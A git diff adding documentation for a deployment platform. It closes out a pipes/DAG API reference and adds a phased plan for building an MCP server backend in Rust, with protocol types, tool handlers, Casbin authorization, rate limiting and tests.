`/api/v1/pipes/{template_id}/dag/executions/{exec_id}/steps` | Step execution details | + +### Instances + +| Method | Path | Description | +|--------|------|-------------| +| `POST` | `/api/v1/pipes/instances` | Create instance | +| `GET` | `/api/v1/pipes/instances/{deployment_hash}` | List by deployment | +| `GET` | `/api/v1/pipes/instances/local` | List local instances | +| `GET` | `/api/v1/pipes/instances/detail/{id}` | Get instance | +| `PUT` | `/api/v1/pipes/instances/{id}/status` | Update status | +| `POST` | `/api/v1/pipes/instances/{id}/deploy` | Promote local → remote | +| `DELETE` | `/api/v1/pipes/instances/{id}` | Delete instance | + +### Executions + +| Method | Path | Description | +|--------|------|-------------| +| `GET` | `/api/v1/pipes/instances/{id}/executions` | List executions | +| `GET` | `/api/v1/pipes/executions/{id}` | Get execution | +| `POST` | `/api/v1/pipes/executions/{id}/replay` | Replay execution | + +### Streaming + +| Protocol | Path | Description | +|----------|------|-------------| +| WebSocket | `/api/v1/pipes/instances/{id}/stream` | Live execution events | + +### Resilience (Circuit Breaker + Dead Letter Queue) + +| Method | Path | Description | +|--------|------|-------------| +| `GET` | `/api/v1/pipes/*/dlq` | List dead-letter items | +| `POST` | `/api/v1/pipes/*/dlq/{id}/retry` | Retry failed item | +| `POST` | `/api/v1/pipes/*/dlq/{id}/discard` | Discard failed item | +| `GET` | `/api/v1/pipes/*/circuit-breaker` | Get circuit breaker state | +| `PUT` | `/api/v1/pipes/*/circuit-breaker` | Configure thresholds | +| `POST` | `/api/v1/pipes/*/circuit-breaker/reset` | Reset circuit breaker | + +--- + +## gRPC Streaming + +For high-throughput or real-time pipelines, use gRPC steps instead of REST. + +### Protocol (proto/pipe.proto) + +```protobuf +service PipeService { + // Send data to a target (unary) + rpc Send(PipeMessage) returns (PipeResponse); + + // Subscribe to a source (server-streaming) + rpc Subscribe(SubscribeRequest) returns (stream PipeMessage); +} + +message PipeMessage { + string pipe_instance_id = 1; + string step_id = 2; + google.protobuf.Struct payload = 3; // Arbitrary JSON + int64 timestamp_ms = 4; +} + +message PipeResponse { + bool success = 1; + string message = 2; +} + +message SubscribeRequest { + string pipe_instance_id = 1; + string step_id = 2; + map filters = 3; +} +``` + +### Using gRPC in a DAG + +```bash +# gRPC source step — subscribes to server-streaming RPC +add_step '{ + "name": "live_feed", + "step_type": "grpc_source", + "config": { + "endpoint": "http://grpc-service:50051", + "pipe_instance_id": "...", + "step_id": "..." + } +}' + +# gRPC target step — sends via unary RPC +add_step '{ + "name": "push_to_grpc", + "step_type": "grpc_target", + "config": { + "endpoint": "http://grpc-service:50051", + "pipe_instance_id": "...", + "step_id": "..." + } +}' +``` + +--- + +## API Response Formats + +### Single item (POST, GET by ID) +```json +{"item": {"id": "uuid", "name": "...", ...}} +``` + +### List (GET collection) +```json +{"list": [{"id": "uuid", ...}, {"id": "uuid", ...}]} +``` + +### DELETE +Returns `204 No Content` (empty body). + +### Validation +```json +{"valid": true, "total_steps": 5, "execution_levels": 3, "sources": ["source"], "targets": ["target"]} +``` + +### Execution result +```json +{ + "execution_id": "uuid", + "status": "completed", + "total_steps": 5, + "completed_steps": 5, + "failed_steps": 0, + "skipped_steps": 0, + "execution_order": ["step1", "step2", "..."], + "step_results": [{"step_id": "...", "status": "completed", "output_data": {...}}, ...] +} +``` + +--- + +## Troubleshooting + +### "No source step found" +DAG needs at least one source. Valid types: `source`, `cdc_source`, `amqp_source`, `kafka_source`, `ws_source`, `http_stream_source`, `grpc_source`. + +### "No target step found" +Add a `target`, `ws_target`, or `grpc_target` step. + +### "Cycle detected" +Edges form a loop. Remove the circular edge. + +### 401 Unauthorized +Run `stacker login` or check your `Authorization: Bearer ` header. + +### Step execution failed +```bash +curl -s "$BASE/pipes/$TEMPLATE/dag/executions/$EXEC_ID/steps" \ + -H "$AUTH" | jq '.[] | select(.status == "failed") | {name: .name, error: .error}' +``` + +### CDC not receiving events +1. PostgreSQL: `wal_level = logical` in postgresql.conf +2. Replication slot exists: `SELECT * FROM pg_replication_slots;` +3. Publication exists: `SELECT * FROM pg_publication_tables;` + +### AMQP not consuming +1. RabbitMQ accessible? Check Management UI (port 15672) +2. Queue exists? Exchange and routing key match publisher? + +### Kafka not subscribing +1. Brokers reachable? `kafkacat -b localhost:9092 -L` +2. Topic exists? `kafka-topics.sh --list --bootstrap-server localhost:9092` +3. `group_id` conflicts with another consumer? diff --git a/stacker/stacker/docs/MCP_SERVER_BACKEND_PLAN.md b/stacker/stacker/docs/MCP_SERVER_BACKEND_PLAN.md new file mode 100644 index 0000000..aaaded9 --- /dev/null +++ b/stacker/stacker/docs/MCP_SERVER_BACKEND_PLAN.md @@ -0,0 +1,1224 @@ +# MCP Server Backend Implementation Plan + +## Overview +This document outlines the implementation plan for adding Model Context Protocol (MCP) server capabilities to the Stacker backend. The MCP server will expose Stacker's functionality as tools that AI assistants can use to help users build and deploy application stacks. + +> **Current status:** The original 17-tool MVP has been surpassed. As of +> v0.2.8 the registry exposes 85+ tools, including remote service secret +> management (`list_remote_secret_targets`, `list_remote_service_secrets`, +> `get_remote_service_secret`, `set_remote_service_secret`, +> `delete_remote_service_secret`) with metadata-only reads and Vault-backed +> writes. All tool calls require explicit per-tool Casbin `CALL` policies under +> `/mcp/tools/`; sensitive write/destructive tools additionally +> require verified 2FA/MFA. + +## Architecture + +``` +┌─────────────────────────────────────────────────────────┐ +│ Stacker Backend (Rust/Actix-web) │ +│ │ +│ ┌──────────────────┐ ┌────────────────────┐ │ +│ │ REST API │ │ MCP Server │ │ +│ │ (Existing) │ │ (New) │ │ +│ │ │ │ │ │ +│ │ /project │◄───────┤ Tool Registry │ │ +│ │ /cloud │ │ - create_project │ │ +│ │ /rating │ │ - list_projects │ │ +│ │ /deployment │ │ - get_templates │ │ +│ └──────────────────┘ │ - deploy_project │ │ +│ │ │ - etc... │ │ +│ │ └────────────────────┘ │ +│ │ │ │ +│ │ │ │ +│ └───────────┬───────────────┘ │ +│ ▼ │ +│ ┌─────────────────┐ │ +│ │ PostgreSQL DB │ │ +│ │ + Session Store │ │ +│ └─────────────────┘ │ +└─────────────────────────────────────────────────────────┘ + │ + │ WebSocket (JSON-RPC 2.0) + ▼ +┌─────────────────────────────────────────────────────────┐ +│ Frontend (React) or AI Client │ +│ - Sends tool requests │ +│ - Receives tool results │ +│ - Manages conversation context │ +└─────────────────────────────────────────────────────────┘ +``` + +## Technology Stack + +### Core Dependencies +```toml +[dependencies] +# MCP Protocol +tokio-tungstenite = "0.21" # WebSocket server +serde_json = "1.0" # JSON-RPC 2.0 serialization +uuid = { version = "1.0", features = ["v4"] } # Request IDs + +# Existing (reuse) +actix-web = "4.4" # HTTP server +sqlx = "0.8" # Database +tokio = { version = "1", features = ["full"] } +``` + +### MCP Protocol Specification +- **Protocol**: JSON-RPC 2.0 over WebSocket +- **Version**: MCP 2024-11-05 +- **Transport**: `wss://api.try.direct/mcp` (production) +- **Authentication**: OAuth Bearer token (reuse existing auth) + +## Implementation Phases + +--- + +## Phase 1: Foundation (Week 1-2) + +### 1.1 MCP Protocol Implementation + +**Create core protocol structures:** + +```rust +// src/mcp/protocol.rs +use serde::{Deserialize, Serialize}; +use serde_json::Value; + +#[derive(Debug, Serialize, Deserialize)] +#[serde(tag = "jsonrpc")] +pub struct JsonRpcRequest { + pub jsonrpc: String, // "2.0" + pub id: Option, + pub method: String, + pub params: Option, +} + +#[derive(Debug, Serialize, Deserialize)] +pub struct JsonRpcResponse { + pub jsonrpc: String, + pub id: Option, + #[serde(skip_serializing_if = "Option::is_none")] + pub result: Option, + #[serde(skip_serializing_if = "Option::is_none")] + pub error: Option, +} + +#[derive(Debug, Serialize, Deserialize)] +pub struct JsonRpcError { + pub code: i32, + pub message: String, + #[serde(skip_serializing_if = "Option::is_none")] + pub data: Option, +} + +// MCP-specific types +#[derive(Debug, Serialize, Deserialize)] +pub struct Tool { + pub name: String, + pub description: String, + #[serde(rename = "inputSchema")] + pub input_schema: Value, // JSON Schema for parameters +} + +#[derive(Debug, Serialize, Deserialize)] +pub struct ToolListResponse { + pub tools: Vec, +} + +#[derive(Debug, Serialize, Deserialize)] +pub struct CallToolRequest { + pub name: String, + pub arguments: Option, +} + +#[derive(Debug, Serialize, Deserialize)] +pub struct CallToolResponse { + pub content: Vec, + #[serde(rename = "isError", skip_serializing_if = "Option::is_none")] + pub is_error: Option, +} + +#[derive(Debug, Serialize, Deserialize)] +#[serde(tag = "type")] +pub enum ToolContent { + #[serde(rename = "text")] + Text { text: String }, + #[serde(rename = "image")] + Image { + data: String, // base64 + #[serde(rename = "mimeType")] + mime_type: String + }, +} +``` + +### 1.2 WebSocket Handler + +```rust +// src/mcp/websocket.rs +use actix::{Actor, StreamHandler}; +use actix_web::{web, Error, HttpRequest, HttpResponse}; +use actix_web_actors::ws; +use tokio_tungstenite::tungstenite::protocol::Message; + +pub struct McpWebSocket { + user: Arc, + session: McpSession, +} + +impl Actor for McpWebSocket { + type Context = ws::WebsocketContext; +} + +impl StreamHandler> for McpWebSocket { + fn handle(&mut self, msg: Result, ctx: &mut Self::Context) { + match msg { + Ok(ws::Message::Text(text)) => { + let request: JsonRpcRequest = serde_json::from_str(&text).unwrap(); + let response = self.handle_jsonrpc(request).await; + ctx.text(serde_json::to_string(&response).unwrap()); + } + Ok(ws::Message::Close(reason)) => { + ctx.close(reason); + ctx.stop(); + } + _ => {} + } + } +} + +impl McpWebSocket { + async fn handle_jsonrpc(&self, req: JsonRpcRequest) -> JsonRpcResponse { + match req.method.as_str() { + "initialize" => self.handle_initialize(req).await, + "tools/list" => self.handle_tools_list(req).await, + "tools/call" => self.handle_tools_call(req).await, + _ => JsonRpcResponse { + jsonrpc: "2.0".to_string(), + id: req.id, + result: None, + error: Some(JsonRpcError { + code: -32601, + message: "Method not found".to_string(), + data: None, + }), + }, + } + } +} + +// Route registration +pub async fn mcp_websocket( + req: HttpRequest, + stream: web::Payload, + user: web::ReqData>, + pg_pool: web::Data, +) -> Result { + let ws = McpWebSocket { + user: user.into_inner(), + session: McpSession::new(), + }; + ws::start(ws, &req, stream) +} +``` + +### 1.3 Tool Registry + +```rust +// src/mcp/registry.rs +use std::collections::HashMap; +use async_trait::async_trait; + +#[async_trait] +pub trait ToolHandler: Send + Sync { + async fn execute( + &self, + args: Value, + context: &ToolContext, + ) -> Result; + + fn schema(&self) -> Tool; +} + +pub struct ToolRegistry { + handlers: HashMap>, +} + +impl ToolRegistry { + pub fn new() -> Self { + let mut registry = Self { + handlers: HashMap::new(), + }; + + // Register all tools + registry.register("create_project", Box::new(CreateProjectTool)); + registry.register("list_projects", Box::new(ListProjectsTool)); + registry.register("get_project", Box::new(GetProjectTool)); + registry.register("update_project", Box::new(UpdateProjectTool)); + registry.register("delete_project", Box::new(DeleteProjectTool)); + registry.register("generate_compose", Box::new(GenerateComposeTool)); + registry.register("deploy_project", Box::new(DeployProjectTool)); + registry.register("list_templates", Box::new(ListTemplatesTool)); + registry.register("get_template", Box::new(GetTemplateTool)); + registry.register("list_clouds", Box::new(ListCloudsTool)); + registry.register("suggest_resources", Box::new(SuggestResourcesTool)); + + registry + } + + pub fn get(&self, name: &str) -> Option<&Box> { + self.handlers.get(name) + } + + pub fn list_tools(&self) -> Vec { + self.handlers.values().map(|h| h.schema()).collect() + } +} + +pub struct ToolContext { + pub user: Arc, + pub pg_pool: PgPool, + pub settings: Arc, +} +``` + +### 1.4 Session Management + +```rust +// src/mcp/session.rs +use std::collections::HashMap; + +pub struct McpSession { + pub id: String, + pub created_at: chrono::DateTime, + pub context: HashMap, // Store conversation state +} + +impl McpSession { + pub fn new() -> Self { + Self { + id: uuid::Uuid::new_v4().to_string(), + created_at: chrono::Utc::now(), + context: HashMap::new(), + } + } + + pub fn set_context(&mut self, key: String, value: Value) { + self.context.insert(key, value); + } + + pub fn get_context(&self, key: &str) -> Option<&Value> { + self.context.get(key) + } +} +``` + +**Deliverables:** +- [ ] MCP protocol types in `src/mcp/protocol.rs` +- [ ] WebSocket handler in `src/mcp/websocket.rs` +- [ ] Tool registry in `src/mcp/registry.rs` +- [ ] Session management in `src/mcp/session.rs` +- [ ] Route registration: `web::resource("/mcp").route(web::get().to(mcp_websocket))` + +--- + +## Phase 2: Core Tools (Week 3-4) + +### 2.1 Project Management Tools + +```rust +// src/mcp/tools/project.rs + +pub struct CreateProjectTool; + +#[async_trait] +impl ToolHandler for CreateProjectTool { + async fn execute(&self, args: Value, ctx: &ToolContext) -> Result { + let form: forms::project::Add = serde_json::from_value(args) + .map_err(|e| format!("Invalid arguments: {}", e))?; + + let project = db::project::insert( + &ctx.pg_pool, + &ctx.user.id, + &form, + ).await + .map_err(|e| format!("Database error: {}", e))?; + + Ok(ToolContent::Text { + text: serde_json::to_string(&project).unwrap(), + }) + } + + fn schema(&self) -> Tool { + Tool { + name: "create_project".to_string(), + description: "Create a new application stack project with services, networking, and deployment configuration".to_string(), + input_schema: serde_json::json!({ + "type": "object", + "properties": { + "name": { + "type": "string", + "description": "Project name (required)" + }, + "description": { + "type": "string", + "description": "Project description (optional)" + }, + "apps": { + "type": "array", + "description": "List of applications/services", + "items": { + "type": "object", + "properties": { + "name": { "type": "string" }, + "dockerImage": { + "type": "object", + "properties": { + "namespace": { "type": "string" }, + "repository": { "type": "string" }, + "password": { "type": "string" } + }, + "required": ["repository"] + }, + "resources": { + "type": "object", + "properties": { + "cpu": { "type": "number", "description": "CPU cores (0-8)" }, + "ram": { "type": "number", "description": "RAM in GB (0-16)" }, + "storage": { "type": "number", "description": "Storage in GB (0-100)" } + } + }, + "ports": { + "type": "array", + "items": { + "type": "object", + "properties": { + "hostPort": { "type": "number" }, + "containerPort": { "type": "number" } + } + } + } + }, + "required": ["name", "dockerImage"] + } + } + }, + "required": ["name", "apps"] + }), + } + } +} + +pub struct ListProjectsTool; + +#[async_trait] +impl ToolHandler for ListProjectsTool { + async fn execute(&self, _args: Value, ctx: &ToolContext) -> Result { + let projects = db::project::fetch_by_user(&ctx.pg_pool, &ctx.user.id) + .await + .map_err(|e| format!("Database error: {}", e))?; + + Ok(ToolContent::Text { + text: serde_json::to_string(&projects).unwrap(), + }) + } + + fn schema(&self) -> Tool { + Tool { + name: "list_projects".to_string(), + description: "List all projects owned by the authenticated user".to_string(), + input_schema: serde_json::json!({ + "type": "object", + "properties": {} + }), + } + } +} +``` + +### 2.2 Template & Discovery Tools + +```rust +// src/mcp/tools/templates.rs + +pub struct ListTemplatesTool; + +#[async_trait] +impl ToolHandler for ListTemplatesTool { + async fn execute(&self, args: Value, ctx: &ToolContext) -> Result { + #[derive(Deserialize)] + struct Args { + category: Option, + search: Option, + } + + let params: Args = serde_json::from_value(args).unwrap_or_default(); + + // Fetch public templates from rating table + let templates = db::rating::fetch_public_templates(&ctx.pg_pool, params.category) + .await + .map_err(|e| format!("Database error: {}", e))?; + + // Filter by search term if provided + let filtered = if let Some(search) = params.search { + templates.into_iter() + .filter(|t| t.name.to_lowercase().contains(&search.to_lowercase())) + .collect() + } else { + templates + }; + + Ok(ToolContent::Text { + text: serde_json::to_string(&filtered).unwrap(), + }) + } + + fn schema(&self) -> Tool { + Tool { + name: "list_templates".to_string(), + description: "List available stack templates (WordPress, Node.js, Django, etc.) with ratings and descriptions".to_string(), + input_schema: serde_json::json!({ + "type": "object", + "properties": { + "category": { + "type": "string", + "enum": ["web", "api", "database", "cms", "ecommerce"], + "description": "Filter by category (optional)" + }, + "search": { + "type": "string", + "description": "Search templates by name (optional)" + } + } + }), + } + } +} + +pub struct SuggestResourcesTool; + +#[async_trait] +impl ToolHandler for SuggestResourcesTool { + async fn execute(&self, args: Value, _ctx: &ToolContext) -> Result { + #[derive(Deserialize)] + struct Args { + app_type: String, + expected_traffic: Option, // "low", "medium", "high" + } + + let params: Args = serde_json::from_value(args) + .map_err(|e| format!("Invalid arguments: {}", e))?; + + // Simple heuristic-based suggestions + let (cpu, ram, storage) = match params.app_type.to_lowercase().as_str() { + "wordpress" | "cms" => (1, 2, 20), + "nodejs" | "express" => (1, 1, 10), + "django" | "flask" => (2, 2, 15), + "nextjs" | "react" => (1, 2, 10), + "mysql" | "postgresql" => (2, 4, 50), + "redis" | "memcached" => (1, 1, 5), + "nginx" | "traefik" => (1, 0.5, 5), + _ => (1, 1, 10), // default + }; + + // Adjust for traffic + let multiplier = match params.expected_traffic.as_deref() { + Some("high") => 2.0, + Some("medium") => 1.5, + _ => 1.0, + }; + + let suggestion = serde_json::json!({ + "cpu": (cpu as f64 * multiplier).ceil() as i32, + "ram": (ram as f64 * multiplier).ceil() as i32, + "storage": (storage as f64 * multiplier).ceil() as i32, + "recommendation": format!( + "For {} with {} traffic: {}x{} CPU, {} GB RAM, {} GB storage", + params.app_type, + params.expected_traffic.as_deref().unwrap_or("low"), + (cpu as f64 * multiplier).ceil(), + if multiplier > 1.0 { "vCPU" } else { "core" }, + (ram as f64 * multiplier).ceil(), + (storage as f64 * multiplier).ceil() + ) + }); + + Ok(ToolContent::Text { + text: serde_json::to_string(&suggestion).unwrap(), + }) + } + + fn schema(&self) -> Tool { + Tool { + name: "suggest_resources".to_string(), + description: "Suggest appropriate CPU, RAM, and storage limits for an application type".to_string(), + input_schema: serde_json::json!({ + "type": "object", + "properties": { + "app_type": { + "type": "string", + "description": "Application type (e.g., 'wordpress', 'nodejs', 'postgresql')" + }, + "expected_traffic": { + "type": "string", + "enum": ["low", "medium", "high"], + "description": "Expected traffic level (optional, default: low)" + } + }, + "required": ["app_type"] + }), + } + } +} +``` + +**Deliverables:** +- [ ] Project CRUD tools (create, list, get, update, delete) +- [ ] Deployment tools (generate_compose, deploy) +- [ ] Template discovery tools (list_templates, get_template) +- [ ] Resource suggestion tool +- [ ] Cloud provider tools (list_clouds, add_cloud) + +--- + +## Phase 3: Advanced Features (Week 5-6) + +### 3.1 Context & State Management + +```rust +// Store partial project data during multi-turn conversations +session.set_context("draft_project".to_string(), serde_json::json!({ + "name": "My API", + "apps": [ + { + "name": "api", + "dockerImage": { "repository": "node:18-alpine" } + } + ], + "step": 2 // User is on step 2 of 5 +})); +``` + +### 3.2 Validation Tools + +```rust +pub struct ValidateDomainTool; + +#[async_trait] +impl ToolHandler for ValidateDomainTool { + async fn execute(&self, args: Value, _ctx: &ToolContext) -> Result { + #[derive(Deserialize)] + struct Args { + domain: String, + } + + let params: Args = serde_json::from_value(args) + .map_err(|e| format!("Invalid arguments: {}", e))?; + + // Simple regex validation + let domain_regex = regex::Regex::new(r"^([a-z0-9]+(-[a-z0-9]+)*\.)+[a-z]{2,}$").unwrap(); + let is_valid = domain_regex.is_match(¶ms.domain); + + let result = serde_json::json!({ + "domain": params.domain, + "valid": is_valid, + "message": if is_valid { + "Domain format is valid" + } else { + "Invalid domain format. Use lowercase letters, numbers, hyphens, and dots only" + } + }); + + Ok(ToolContent::Text { + text: serde_json::to_string(&result).unwrap(), + }) + } + + fn schema(&self) -> Tool { + Tool { + name: "validate_domain".to_string(), + description: "Validate domain name format".to_string(), + input_schema: serde_json::json!({ + "type": "object", + "properties": { + "domain": { + "type": "string", + "description": "Domain to validate (e.g., 'example.com')" + } + }, + "required": ["domain"] + }), + } + } +} +``` + +### 3.3 Deployment Status Tools + +```rust +pub struct GetDeploymentStatusTool; + +#[async_trait] +impl ToolHandler for GetDeploymentStatusTool { + async fn execute(&self, args: Value, ctx: &ToolContext) -> Result { + #[derive(Deserialize)] + struct Args { + deployment_id: i32, + } + + let params: Args = serde_json::from_value(args) + .map_err(|e| format!("Invalid arguments: {}", e))?; + + let deployment = db::deployment::fetch(&ctx.pg_pool, params.deployment_id) + .await + .map_err(|e| format!("Database error: {}", e))?; + + Ok(ToolContent::Text { + text: serde_json::to_string(&deployment).unwrap(), + }) + } + + fn schema(&self) -> Tool { + Tool { + name: "get_deployment_status".to_string(), + description: "Get current deployment status and details".to_string(), + input_schema: serde_json::json!({ + "type": "object", + "properties": { + "deployment_id": { + "type": "number", + "description": "Deployment ID" + } + }, + "required": ["deployment_id"] + }), + } + } +} +``` + +**Deliverables:** +- [ ] Session context persistence +- [ ] Domain validation tool +- [ ] Port validation tool +- [ ] Git repository parsing tool +- [ ] Deployment status monitoring tool + +--- + +## Phase 4: Security & Production (Week 7-8) + +### 4.1 Authentication & Authorization + +```rust +// Reuse existing OAuth middleware +// src/mcp/websocket.rs + +pub async fn mcp_websocket( + req: HttpRequest, + stream: web::Payload, + user: web::ReqData>, // ← Injected by auth middleware + pg_pool: web::Data, +) -> Result { + // User is already authenticated via Bearer token + // Casbin rules apply: only admin/user roles can access MCP + + let ws = McpWebSocket { + user: user.into_inner(), + session: McpSession::new(), + }; + ws::start(ws, &req, stream) +} +``` + +**Casbin Rules for MCP:** +```sql +-- migrations/20251228000000_casbin_mcp_rules.up.sql +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) +VALUES + ('p', 'group_admin', '/mcp', 'GET', '', '', ''), + ('p', 'group_user', '/mcp', 'GET', '', '', '') +ON CONFLICT ON CONSTRAINT unique_key_sqlx_adapter DO NOTHING; +``` + +### 4.2 Rate Limiting + +```rust +// src/mcp/rate_limit.rs +use std::collections::HashMap; +use std::sync::{Arc, Mutex}; +use std::time::{Duration, Instant}; + +pub struct RateLimiter { + limits: Arc>>>, + max_requests: usize, + window: Duration, +} + +impl RateLimiter { + pub fn new(max_requests: usize, window: Duration) -> Self { + Self { + limits: Arc::new(Mutex::new(HashMap::new())), + max_requests, + window, + } + } + + pub fn check(&self, user_id: &str) -> Result<(), String> { + let mut limits = self.limits.lock().unwrap(); + let now = Instant::now(); + + let requests = limits.entry(user_id.to_string()).or_insert_with(Vec::new); + + // Remove expired entries + requests.retain(|&time| now.duration_since(time) < self.window); + + if requests.len() >= self.max_requests { + return Err(format!( + "Rate limit exceeded: {} requests per {} seconds", + self.max_requests, + self.window.as_secs() + )); + } + + requests.push(now); + Ok(()) + } +} + +// Usage in McpWebSocket +impl McpWebSocket { + async fn handle_tools_call(&self, req: JsonRpcRequest) -> JsonRpcResponse { + // Rate limit: 100 tool calls per minute per user + if let Err(msg) = self.rate_limiter.check(&self.user.id) { + return JsonRpcResponse { + jsonrpc: "2.0".to_string(), + id: req.id, + result: None, + error: Some(JsonRpcError { + code: -32000, + message: msg, + data: None, + }), + }; + } + + // ... proceed with tool execution + } +} +``` + +### 4.3 Error Handling & Logging + +```rust +// Enhanced error responses with tracing +impl McpWebSocket { + async fn handle_tools_call(&self, req: JsonRpcRequest) -> JsonRpcResponse { + let call_req: CallToolRequest = match serde_json::from_value(req.params.unwrap()) { + Ok(r) => r, + Err(e) => { + tracing::error!("Invalid tool call params: {:?}", e); + return JsonRpcResponse { + jsonrpc: "2.0".to_string(), + id: req.id, + result: None, + error: Some(JsonRpcError { + code: -32602, + message: "Invalid params".to_string(), + data: Some(serde_json::json!({ "error": e.to_string() })), + }), + }; + } + }; + + let tool_span = tracing::info_span!("mcp_tool_call", tool = %call_req.name, user = %self.user.id); + let _enter = tool_span.enter(); + + match self.registry.get(&call_req.name) { + Some(handler) => { + match handler.execute( + call_req.arguments.unwrap_or(serde_json::json!({})), + &self.context(), + ).await { + Ok(content) => { + tracing::info!("Tool executed successfully"); + JsonRpcResponse { + jsonrpc: "2.0".to_string(), + id: req.id, + result: Some(serde_json::to_value(CallToolResponse { + content: vec![content], + is_error: None, + }).unwrap()), + error: None, + } + } + Err(e) => { + tracing::error!("Tool execution failed: {}", e); + JsonRpcResponse { + jsonrpc: "2.0".to_string(), + id: req.id, + result: Some(serde_json::to_value(CallToolResponse { + content: vec![ToolContent::Text { + text: format!("Error: {}", e), + }], + is_error: Some(true), + }).unwrap()), + error: None, + } + } + } + } + None => { + tracing::warn!("Unknown tool requested: {}", call_req.name); + JsonRpcResponse { + jsonrpc: "2.0".to_string(), + id: req.id, + result: None, + error: Some(JsonRpcError { + code: -32601, + message: format!("Tool not found: {}", call_req.name), + data: None, + }), + } + } + } + } +} +``` + +**Deliverables:** +- [ ] Casbin rules for MCP endpoint +- [ ] Rate limiting (100 calls/min per user) +- [ ] Comprehensive error handling +- [ ] Structured logging with tracing +- [ ] Input validation for all tools + +--- + +## Phase 5: Testing & Documentation (Week 9) + +### 5.1 Unit Tests + +```rust +#[cfg(test)] +mod tests { + use super::*; + + #[tokio::test] + async fn test_create_project_tool() { + let tool = CreateProjectTool; + let ctx = create_test_context().await; + + let args = serde_json::json!({ + "name": "Test Project", + "apps": [{ + "name": "web", + "dockerImage": { "repository": "nginx" } + }] + }); + + let result = tool.execute(args, &ctx).await; + assert!(result.is_ok()); + + let ToolContent::Text { text } = result.unwrap(); + let project: models::Project = serde_json::from_str(&text).unwrap(); + assert_eq!(project.name, "Test Project"); + } + + #[tokio::test] + async fn test_list_templates_tool() { + let tool = ListTemplatesTool; + let ctx = create_test_context().await; + + let result = tool.execute(serde_json::json!({}), &ctx).await; + assert!(result.is_ok()); + } +} +``` + +### 5.2 Integration Tests + +```rust +// tests/mcp_integration.rs +use actix_web::test; +use tokio_tungstenite::connect_async; + +#[actix_web::test] +async fn test_mcp_websocket_connection() { + let app = spawn_app().await; + + let ws_url = format!("ws://{}/mcp", app.address); + let (ws_stream, _) = connect_async(ws_url).await.unwrap(); + + // Send initialize request + let init_msg = serde_json::json!({ + "jsonrpc": "2.0", + "id": 1, + "method": "initialize", + "params": { + "protocolVersion": "2024-11-05", + "capabilities": {} + } + }); + + // ... test flow +} + +#[actix_web::test] +async fn test_create_project_via_mcp() { + // Test full create project flow via MCP +} +``` + +### 5.3 Documentation + +**API Documentation:** +- Generate OpenAPI/Swagger spec for MCP tools +- Document all tool schemas with examples +- Create integration guide for frontend developers + +**Example Documentation:** +```markdown +## MCP Tool: create_project + +**Description**: Create a new application stack project + +**Parameters:** +```json +{ + "name": "My WordPress Site", + "apps": [ + { + "name": "wordpress", + "dockerImage": { + "repository": "wordpress", + "tag": "latest" + }, + "resources": { + "cpu": 2, + "ram": 4, + "storage": 20 + }, + "ports": [ + { "hostPort": 80, "containerPort": 80 } + ] + } + ] +} +``` + +**Response:** +```json +{ + "id": 123, + "name": "My WordPress Site", + "user_id": "user_abc", + "created_at": "2025-12-27T10:00:00Z", + ... +} +``` +``` + +**Deliverables:** +- [ ] Unit tests for all tools (>80% coverage) +- [ ] Integration tests for WebSocket connection +- [ ] End-to-end tests for tool execution flow +- [ ] API documentation (MCP tool schemas) +- [ ] Integration guide for frontend + +--- + +## Deployment Configuration + +### Update `startup.rs` + +```rust +// src/startup.rs +use crate::mcp; + +pub async fn run( + listener: TcpListener, + pg_pool: Pool, + settings: Settings, +) -> Result { + // ... existing setup ... + + // Initialize MCP registry + let mcp_registry = web::Data::new(mcp::ToolRegistry::new()); + + let server = HttpServer::new(move || { + App::new() + // ... existing middleware and routes ... + + // Add MCP WebSocket endpoint + .service( + web::resource("/mcp") + .route(web::get().to(mcp::mcp_websocket)) + ) + .app_data(mcp_registry.clone()) + }) + .listen(listener)? + .run(); + + Ok(server) +} +``` + +### Update `Cargo.toml` + +```toml +[dependencies] +tokio-tungstenite = "0.21" +uuid = { version = "1.0", features = ["v4", "serde"] } +async-trait = "0.1" +regex = "1.10" + +# Consider adding MCP SDK if available +# mcp-server = "0.1" # Hypothetical official SDK +``` + +--- + +## Monitoring & Metrics + +### Key Metrics to Track + +```rust +// src/mcp/metrics.rs +use prometheus::{IntCounterVec, HistogramVec, Registry}; + +pub struct McpMetrics { + pub tool_calls_total: IntCounterVec, + pub tool_duration: HistogramVec, + pub websocket_connections: IntCounterVec, + pub errors_total: IntCounterVec, +} + +impl McpMetrics { + pub fn new(registry: &Registry) -> Self { + let tool_calls_total = IntCounterVec::new( + prometheus::Opts::new("mcp_tool_calls_total", "Total MCP tool calls"), + &["tool", "user_id", "status"] + ).unwrap(); + registry.register(Box::new(tool_calls_total.clone())).unwrap(); + + // ... register other metrics + + Self { + tool_calls_total, + // ... + } + } +} +``` + +**Metrics to expose:** +- `mcp_tool_calls_total{tool, user_id, status}` - Counter +- `mcp_tool_duration_seconds{tool}` - Histogram +- `mcp_websocket_connections_active` - Gauge +- `mcp_errors_total{tool, error_type}` - Counter + +--- + +## Complete Tool List (Initial Release) + +### Project Management (7 tools) +1. ✅ `create_project` - Create new project +2. ✅ `list_projects` - List user's projects +3. ✅ `get_project` - Get project details +4. ✅ `update_project` - Update project +5. ✅ `delete_project` - Delete project +6. ✅ `generate_compose` - Generate docker-compose.yml +7. ✅ `deploy_project` - Deploy to cloud + +### Template & Discovery (3 tools) +8. ✅ `list_templates` - List available templates +9. ✅ `get_template` - Get template details +10. ✅ `suggest_resources` - Suggest resource limits + +### Cloud Management (2 tools) +11. ✅ `list_clouds` - List cloud providers +12. ✅ `add_cloud` - Add cloud credentials + +### Validation (3 tools) +13. ✅ `validate_domain` - Validate domain format +14. ✅ `validate_ports` - Validate port configuration +15. ✅ `parse_git_repo` - Parse Git repository URL + +### Deployment (2 tools) +16. ✅ `list_deployments` - List deployments +17. ✅ `get_deployment_status` - Get deployment status + +**Total: 17 tools for MVP** + +--- + +## Success Criteria + +### Functional Requirements +- [ ] All 17 tools implemented and tested +- [ ] WebSocket connection stable for >1 hour +- [ ] Handle 100 concurrent WebSocket connections +- [ ] Rate limiting prevents abuse +- [ ] Authentication/authorization enforced + +### Performance Requirements +- [ ] Tool execution <500ms (p95) +- [ ] WebSocket latency <50ms +- [ ] Support 10 tool calls/second per user +- [ ] No memory leaks in long-running sessions + +### Security Requirements +- [ ] OAuth authentication required +- [ ] Casbin ACL enforced +- [ ] Input validation on all parameters +- [ ] SQL injection protection (via sqlx) +- [ ] Rate limiting (100 calls/min per user) + +--- + +## Migration Path + +1. **Week 1-2**: Core protocol + 3 basic tools (create_project, list_projects, list_templates) +2. **Week 3-4**: All 17 tools implemented 